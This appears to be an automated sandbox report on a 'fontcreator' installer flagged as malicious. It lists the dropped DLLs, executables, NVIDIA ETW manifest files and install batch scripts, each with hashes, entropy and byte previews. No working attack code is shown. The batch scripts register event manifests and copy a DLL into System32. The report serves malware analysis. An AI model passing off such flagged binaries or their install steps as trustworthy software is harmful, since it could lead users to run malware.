Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.M.a.n.i.f.e.s.t. .x.s.i.:.s.c.h.e.m.a.L.o.c.a.t.i.o.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s. .e.v.e.n.t.m.a.n...x.s.d.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s.". .x.m.l.n.s.:.w.i.n.=.".h.t.t.p.:././.m.a.n.i.f.e.s.t.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.w.i.n.d.o.w.s./.e.v.e.n.t.s.". .x.m.l.n.s.:.x.s.i.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.-.i.n.s.t.a.n.c.e.". .x.m.l.n.s.:.x.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.". .x.m.l.n.s.:.t.r.a.c.e.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.t.r.a.c.e.".>.......<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.>.........<.e.v.e.n.t.s.>...........<.p.r.o.v.i.d.e.r. .n.a.m.e.=.".N.V.I.D.I.A.

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\htcvive_install.bat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	5.377817544273163
Encrypted:	false
SSDEEP:	12:MLK3diq6GsFA7iXo0CFi7iA5HSyauf67iyauNtDHxm0DHUvZ90DHUvZcO/B8/M4z:MLKvrsFWyrfwrNcJCM4iY
MD5:	537A7DEEE8B9849D6C5A8552AFD2AAB0
SHA1:	DD8BC220365C62F7BAA47F3993552F16251F1D61
SHA-256:	ADFEABFEAEB1376B3E0FABBFE0C3D76D8A62AFA38D016571357ACA37FF2DDEB6
SHA-512:	FA6CD2D876F0E04267CF6C724AA4F342F81797390EB5F5B136F93BD5FB310681E48902177B53A530C007F29093EA8DFFF79A425B7782CE97D6B16E6FF3AF5B84
Malicious:	false
Preview:	REM Any NVFTDLLXX.dll can be used for installing NvFrapsOpenVR.man....set LIBHTCVIVE_EVENTS_MAN=%CD%\NvFrapsOpenVR.man..set LIBHTCVIVE_PATTERN=NVFTVRDLL*.dll....echo Looking for %LIBHTCVIVE_PATTERN% dll's....for /f "delims=" %%a in ('dir /b /o:d "%LIBHTCVIVE_PATTERN%"') do set LIBHTCVIVE_DLL=%%a....icacls "%LIBHTCVIVE_EVENTS_MAN%" /t /grant Everyone:R..icacls "%CD%\%LIBHTCVIVE_PATTERN%" /t /grant Everyone:R....wevtutil uninstall-manifest "%LIBHTCVIVE_EVENTS_MAN%"..echo wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..REM make sure it worked..wevtutil get-publisher NVFT-ETW-OPENVR > nul..if %errorlevel% neq 0 exit /b 1..echo Installed %LIBHTCVIVE_EVENTS_MAN%

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-94945.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (399), with CRLF line terminators
Category:	dropped
Size (bytes):	11436
Entropy (8bit):	3.5736297585775354
Encrypted:	false
SSDEEP:	96:HEwXjhdOxPUjRPUEvwG5yNq1U6W1ppHrVGtGlGd0pi+o/m/vUjWqkB4BVWeW8vT6:65UjZUhNq1U6mPM+
MD5:	A39215CF85D8B4140CF4ED3E215F87C4
SHA1:	8E6B89FB938F847C02DACF8E767C671D2218727C
SHA-256:	7AA7F8194A0FE5B2A713A610F7C3A22C74E82BFFDB7B13582BC97A8ED23389B7
SHA-512:	2D596634403F5A564314C6CC5D1E6F5A1CE0E9DD3B95502D4F64A2B1D42B3404ADC51AC4F97732EF2A3CD773AD96A3375C7D0BBE05F02AFDA6F5848860965717
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.M.a.n.i.f.e.s.t. .x.s.i.:.s.c.h.e.m.a.L.o.c.a.t.i.o.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s. .e.v.e.n.t.m.a.n...x.s.d.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s.". .x.m.l.n.s.:.w.i.n.=.".h.t.t.p.:././.m.a.n.i.f.e.s.t.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.w.i.n.d.o.w.s./.e.v.e.n.t.s.". .x.m.l.n.s.:.x.s.i.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.-.i.n.s.t.a.n.c.e.". .x.m.l.n.s.:.x.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.". .x.m.l.n.s.:.t.r.a.c.e.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.t.r.a.c.e.".>.......<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.>.........<.e.v.e.n.t.s.>...........<.p.r.o.v.i.d.e.r. .n.a.m.e.=.".N.V.I.D.I.A.

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-9EFK3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	5.522130132708777
Encrypted:	false
SSDEEP:	384:K7JTQ85kJnHzfs6h3L9AaI6waxnjgbSHxIYi5Km0f9NfNL1:geHzfsS3xI6lxjmYicm0VND
MD5:	A1632BF8A030FD810D2B716C39297CC5
SHA1:	FE210E233C3218B2224C83CD1D6A985D7C451A38
SHA-256:	30C2F0FC9C37B8A4AF5FE5A946ECF204BDB10FBFB1728FDAB9B00104DAD5AEAC
SHA-512:	C141C3791698FD1F7174D5F5E2D0E7FC8A50815F37835666AE7404E4B6B62F67F907CA94073364374E8CDC1E72FB1413138AFA5708E95CD6309D647774A8C6A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R.c..R.c.P..R.Rich.R.PE..d...j..c.........." .........@...............................................`............`.......................................................... ...<...........B..(&...........................................................................................rdata..p...........................@..@.rsrc....<... ...>..................@..@....j..c........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...;...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-BB72E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15400
Entropy (8bit):	6.508481145269509
Encrypted:	false
SSDEEP:	192:pUQl2bzfzEq+1QmZGdIYiYF80CKRZKx7yhDO4NKzYJzkMDxHtFhFYA1FG:mPIjaIYi5Km0hD9NfNzW
MD5:	BA6DFB6F8E350F05B34E97098766A59F
SHA1:	45FD6CF90130123B24431892E61DD2AFFECCA8C5
SHA-256:	75263FC3534A3162B9E44E353B3C2379169787286DF7B65CB4ADC3D8BFBD533C
SHA-512:	ABC703996A2947F36DC393B896FB7D7A3A0630F4CCEC6FF8F5077519B4FDC4A6464222EB653A5AF5B93D03E7BCCD728EB32D0F863532FE00E140B4904CFBB65F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R...R...R.....R...P...R.Rich..R.PE..d......[.........." .........................................................@............`.......................................................... ..................(&...........................................................................................rdata..p...........................@..@.rsrc........ ......................@..@.......[........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-GF03F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1081896
Entropy (8bit):	6.388045515573479
Encrypted:	false
SSDEEP:	12288:2yreuN4w1fUww+h7w1t3rykcmM/SWzWglboG/mTq3fNuPF67HGC5SYCM:DNBZ/gE3mM/SWWsbT/cq3fNuGGC5SYCM
MD5:	4CB4AA663071A4461290D2CC0AB5407E
SHA1:	96BC4504C025F3D9BD11B3D541401D69CF81126D
SHA-256:	3C7E2F14C47388A84F016408668834D9388C294C791296CAE81DA4581DD1FAFC
SHA-512:	88284D66651A7923D92898C3D4105CB69E5F90AD49BE547C94FA9C5254DDCE3A3626234211FBA7ED5400E671AC8B50D52CEF4EF59203511C27A2A39C202CF83D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ti..5...5...5...S...5...S...5...S..05...k...5...k...5...k...5...S...5...S...5...5...4..-k...5..-k...5...5...5..-k...5..Rich.5..........PE..d...8..c.........."................. ..........@.....................................l....`.................................................P...P........d.......~...\..(&......T.......p...................P...(...`................................................text............................... ..`.rdata...b.......d..................@..@.data........0...@..................@....pdata...~...........V..............@..@.didat..x....`......................@....tls.........p......................@....rsrc....d.......f..................@..@.reloc..T............B..............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-H5QIF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19387
Entropy (8bit):	4.593621921766137
Encrypted:	false
SSDEEP:	384:LlO4o0Bwx4j7W9RyAKtrlElelyl4lql2lolWlgth0yf1aXgSYC7OcyWod5d7knPS:LtBwq7W9RyAKtrlElelyl4lql2lolWl4
MD5:	990CE7FAE6E9D4DA5B07DA99B8E5C918
SHA1:	571309DF3787B9D80B238E275FC14F6C08581A01
SHA-256:	F52C4DCD61503F74EF1BC7F98CF8BB79963826CCCD35B0EFBFE5E3CAC8D75DD0
SHA-512:	690240495B7D41303D25B60B3DBB668C45C4DD6015F315DB80BA36656EB040A1D59B0D1FEAEC7ECA2AF2FC0C4DBA6BB6504D9B08BBEC40910CFF9EED4294E8DF
Malicious:	false
Preview:	<?xml version="1.0"?>..<instrumentationManifest ...xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd"...xmlns="http://schemas.microsoft.com/win/2004/08/events"...xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"...xmlns:xs="http://www.w3.org/2001/XMLSchema"...xmlns:trace="http://schemas.microsoft.com/win/2004/08/events/trace"...>...<instrumentation>....<events>.....<provider......name="NVFT-ETW-OPENVR"......guid="{B37F4CA5-5507-42CF-B8C7-BABE280601D2}"......symbol="ETW_PROVIDER_NVFT_OPENVR_GUID"......resourceFileName="NvFrapsOpenVREvents.res"......messageFileName="msg"......>......<maps>.......<valueMap name="APIType">........<map.........message="$(string.Map.Unknown)".........value="0"........./> ........<map.........message="$(string.Map.OGL)".........value="1"........./> ........<map.........message="$(string.Map.VK)".........value="2"........./>........<map.........message="$

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-QAUKJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	553
Entropy (8bit):	4.92146093309903
Encrypted:	false
SSDEEP:	12:wKDwg7qQNLX9H/Qv/KO0zdPKiayeR3HO0zdvS/jFNxH8z:w9qqQNLX9HUUdDUd48z
MD5:	3F1A83F12B3540BBFE8DA771A322D201
SHA1:	747639FEB46633B130D3D0BA54DEFD564D460991
SHA-256:	27F6077CAC271727410E23493E3E2A0F84A0B0BED9A36F6BC48A9FA1E35BD155
SHA-512:	B53950268CD058E4450CD443439DDE84A9EC609DE1B10D77270B0442259F875142FDE6DA17843B1EF95FF91BDD45ACF735BBD44E43E6A50467305339B15D41EF
Malicious:	false
Preview:	@echo off..setlocal..REM Run this script from an admininistrator prompt to install NVIDIA ETW tracing....echo Installing NVIDIA Display Driver ETW Manifest manifest.......REM Uninstall existing manifest first..wevtutil.exe uninstall-manifest "ddETWExternal.xml"....REM Copy the ETW resource to system directory..xcopy /y /f ddETWExternal.dll %WINDIR%\System32\....REM Install the new manifest..wevtutil.exe install-manifest "ddETWExternal.xml"....REM Ensure that the provider was installed successfully..wevtutil get-publisher NVIDIA-DD-External > nul..

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-UAEL0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	5.377817544273163
Encrypted:	false
SSDEEP:	12:MLK3diq6GsFA7iXo0CFi7iA5HSyauf67iyauNtDHxm0DHUvZ90DHUvZcO/B8/M4z:MLKvrsFWyrfwrNcJCM4iY
MD5:	537A7DEEE8B9849D6C5A8552AFD2AAB0
SHA1:	DD8BC220365C62F7BAA47F3993552F16251F1D61
SHA-256:	ADFEABFEAEB1376B3E0FABBFE0C3D76D8A62AFA38D016571357ACA37FF2DDEB6
SHA-512:	FA6CD2D876F0E04267CF6C724AA4F342F81797390EB5F5B136F93BD5FB310681E48902177B53A530C007F29093EA8DFFF79A425B7782CE97D6B16E6FF3AF5B84
Malicious:	false
Preview:	REM Any NVFTDLLXX.dll can be used for installing NvFrapsOpenVR.man....set LIBHTCVIVE_EVENTS_MAN=%CD%\NvFrapsOpenVR.man..set LIBHTCVIVE_PATTERN=NVFTVRDLL*.dll....echo Looking for %LIBHTCVIVE_PATTERN% dll's....for /f "delims=" %%a in ('dir /b /o:d "%LIBHTCVIVE_PATTERN%"') do set LIBHTCVIVE_DLL=%%a....icacls "%LIBHTCVIVE_EVENTS_MAN%" /t /grant Everyone:R..icacls "%CD%\%LIBHTCVIVE_PATTERN%" /t /grant Everyone:R....wevtutil uninstall-manifest "%LIBHTCVIVE_EVENTS_MAN%"..echo wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..REM make sure it worked..wevtutil get-publisher NVFT-ETW-OPENVR > nul..if %errorlevel% neq 0 exit /b 1..echo Installed %LIBHTCVIVE_EVENTS_MAN%

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\nvfvsdksvc_x64.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1081896
Entropy (8bit):	6.388045515573479
Encrypted:	false
SSDEEP:	12288:2yreuN4w1fUww+h7w1t3rykcmM/SWzWglboG/mTq3fNuPF67HGC5SYCM:DNBZ/gE3mM/SWWsbT/cq3fNuGGC5SYCM
MD5:	4CB4AA663071A4461290D2CC0AB5407E
SHA1:	96BC4504C025F3D9BD11B3D541401D69CF81126D
SHA-256:	3C7E2F14C47388A84F016408668834D9388C294C791296CAE81DA4581DD1FAFC
SHA-512:	88284D66651A7923D92898C3D4105CB69E5F90AD49BE547C94FA9C5254DDCE3A3626234211FBA7ED5400E671AC8B50D52CEF4EF59203511C27A2A39C202CF83D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ti..5...5...5...S...5...S...5...S..05...k...5...k...5...k...5...S...5...S...5...5...4..-k...5..-k...5...5...5..-k...5..Rich.5..........PE..d...8..c.........."................. ..........@.....................................l....`.................................................P...P........d.......~...\..(&......T.......p...................P...(...`................................................text............................... ..`.rdata...b.......d..................@..@.data........0...@..................@....pdata...~...........V..............@..@.didat..x....`......................@....tls.........p......................@....rsrc....d.......f..................@..@.reloc..T............B..............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\nvinstall.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	553
Entropy (8bit):	4.92146093309903
Encrypted:	false
SSDEEP:	12:wKDwg7qQNLX9H/Qv/KO0zdPKiayeR3HO0zdvS/jFNxH8z:w9qqQNLX9HUUdDUd48z
MD5:	3F1A83F12B3540BBFE8DA771A322D201
SHA1:	747639FEB46633B130D3D0BA54DEFD564D460991
SHA-256:	27F6077CAC271727410E23493E3E2A0F84A0B0BED9A36F6BC48A9FA1E35BD155
SHA-512:	B53950268CD058E4450CD443439DDE84A9EC609DE1B10D77270B0442259F875142FDE6DA17843B1EF95FF91BDD45ACF735BBD44E43E6A50467305339B15D41EF
Malicious:	false
Preview:	@echo off..setlocal..REM Run this script from an admininistrator prompt to install NVIDIA ETW tracing....echo Installing NVIDIA Display Driver ETW Manifest manifest.......REM Uninstall existing manifest first..wevtutil.exe uninstall-manifest "ddETWExternal.xml"....REM Copy the ETW resource to system directory..xcopy /y /f ddETWExternal.dll %WINDIR%\System32\....REM Install the new manifest..wevtutil.exe install-manifest "ddETWExternal.xml"....REM Ensure that the provider was installed successfully..wevtutil get-publisher NVIDIA-DD-External > nul..

C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3366912
Entropy (8bit):	6.530560980862899
Encrypted:	false
SSDEEP:	98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
MD5:	945EC37B9971C5E9F26FAFAD6EDFD46E
SHA1:	35AEEEDFAB069194AA41F64DF0E96780C30837B4
SHA-256:	C2E55AA7241DDE41ED9690BD369E62A49D78AD2662C500509FF88FF8342A487F
SHA-512:	283F3E98DEF0B0F249C5B7CB1D6C0DEB6FE922D3D4A68EDF180E791A96F7C18C678E7B4848B5FB03B6C25038BE9850B815B426674A93EA410C430CB261A3F226
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29472
Entropy (8bit):	7.042110181107409
Encrypted:	false
SSDEEP:	768:BD7FEAbd+EDsIOmF+OiR9rikW/F+M9OAriXiRQU:M07sIOYRiPWkWNl9WXil
MD5:	077CB4461A2767383B317EB0C50F5F13
SHA1:	584E64F1D162398B7F377CE55A6B5740379C4282
SHA-256:	8287D0E287A66EE78537C8D1D98E426562B95C50F569B92CEA9CE36A9FA57E64
SHA-512:	B1FCB0265697561EF497E6A60FCEE99DC5EA0CF02B4010DA9F5ED93BCE88BDFEA6BFE823A017487B8059158464EA29636AAD8E5F9DD1E8B8A1B6EAAAB670E547
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(....................4.. ?...@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\NVFTVRDLL64.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	5.522130132708777
Encrypted:	false
SSDEEP:	384:K7JTQ85kJnHzfs6h3L9AaI6waxnjgbSHxIYi5Km0f9NfNL1:geHzfsS3xI6lxjmYicm0VND
MD5:	A1632BF8A030FD810D2B716C39297CC5
SHA1:	FE210E233C3218B2224C83CD1D6A985D7C451A38
SHA-256:	30C2F0FC9C37B8A4AF5FE5A946ECF204BDB10FBFB1728FDAB9B00104DAD5AEAC
SHA-512:	C141C3791698FD1F7174D5F5E2D0E7FC8A50815F37835666AE7404E4B6B62F67F907CA94073364374E8CDC1E72FB1413138AFA5708E95CD6309D647774A8C6A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R.c..R.c.P..R.Rich.R.PE..d...j..c.........." .........@...............................................`............`.......................................................... ...<...........B..(&...........................................................................................rdata..p...........................@..@.rsrc....<... ...>..................@..@....j..c........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...;...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\NvFrapsOpenVR.man (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19387
Entropy (8bit):	4.593621921766137
Encrypted:	false
SSDEEP:	384:LlO4o0Bwx4j7W9RyAKtrlElelyl4lql2lolWlgth0yf1aXgSYC7OcyWod5d7knPS:LtBwq7W9RyAKtrlElelyl4lql2lolWl4
MD5:	990CE7FAE6E9D4DA5B07DA99B8E5C918
SHA1:	571309DF3787B9D80B238E275FC14F6C08581A01
SHA-256:	F52C4DCD61503F74EF1BC7F98CF8BB79963826CCCD35B0EFBFE5E3CAC8D75DD0
SHA-512:	690240495B7D41303D25B60B3DBB668C45C4DD6015F315DB80BA36656EB040A1D59B0D1FEAEC7ECA2AF2FC0C4DBA6BB6504D9B08BBEC40910CFF9EED4294E8DF
Malicious:	false
Preview:	<?xml version="1.0"?>..<instrumentationManifest ...xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd"...xmlns="http://schemas.microsoft.com/win/2004/08/events"...xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"...xmlns:xs="http://www.w3.org/2001/XMLSchema"...xmlns:trace="http://schemas.microsoft.com/win/2004/08/events/trace"...>...<instrumentation>....<events>.....<provider......name="NVFT-ETW-OPENVR"......guid="{B37F4CA5-5507-42CF-B8C7-BABE280601D2}"......symbol="ETW_PROVIDER_NVFT_OPENVR_GUID"......resourceFileName="NvFrapsOpenVREvents.res"......messageFileName="msg"......>......<maps>.......<valueMap name="APIType">........<map.........message="$(string.Map.Unknown)".........value="0"........./> ........<map.........message="$(string.Map.OGL)".........value="1"........./> ........<map.........message="$(string.Map.VK)".........value="2"........./>........<map.........message="$

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29472
Entropy (8bit):	7.042110181107409
Encrypted:	false
SSDEEP:	768:BD7FEAbd+EDsIOmF+OiR9rikW/F+M9OAriXiRQU:M07sIOYRiPWkWNl9WXil
MD5:	077CB4461A2767383B317EB0C50F5F13
SHA1:	584E64F1D162398B7F377CE55A6B5740379C4282
SHA-256:	8287D0E287A66EE78537C8D1D98E426562B95C50F569B92CEA9CE36A9FA57E64
SHA-512:	B1FCB0265697561EF497E6A60FCEE99DC5EA0CF02B4010DA9F5ED93BCE88BDFEA6BFE823A017487B8059158464EA29636AAD8E5F9DD1E8B8A1B6EAAAB670E547
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(....................4.. ?...@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\ddETWExternal.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15400
Entropy (8bit):	6.508481145269509
Encrypted:	false
SSDEEP:	192:pUQl2bzfzEq+1QmZGdIYiYF80CKRZKx7yhDO4NKzYJzkMDxHtFhFYA1FG:mPIjaIYi5Km0hD9NfNzW
